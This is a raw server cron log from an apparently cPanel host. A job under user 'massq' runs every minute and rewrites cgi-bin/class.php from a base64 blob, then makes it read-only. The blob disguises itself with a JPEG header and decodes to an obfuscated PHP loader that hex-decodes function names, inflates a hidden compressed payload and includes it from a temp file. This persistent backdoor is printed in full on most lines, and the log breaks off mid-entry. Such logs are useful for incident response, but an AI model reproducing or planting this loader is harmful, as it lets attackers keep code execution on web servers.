Nov 15 01:36:01 server CROND[2936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:37:01 server CROND[3316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:38:01 server CROND[3594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:39:01 server CROND[3856]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:39:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:40:01 server CROND[4116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 01:40:01 server CROND[4117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:40:01 server CROND[4118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:40:01 server CROND[4119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:41:01 server CROND[4432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:42:01 server CROND[4685]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 01:42:01 server CROND[4686]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:43:01 server CROND[5049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:44:01 server CROND[5300]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:45:01 server CROND[5551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 01:45:01 server CROND[5552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 01:45:01 server CROND[5553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:46:01 server CROND[5893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:47:01 server CROND[6150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:48:01 server CROND[6422]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 01:49:01 server CROND[6810]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 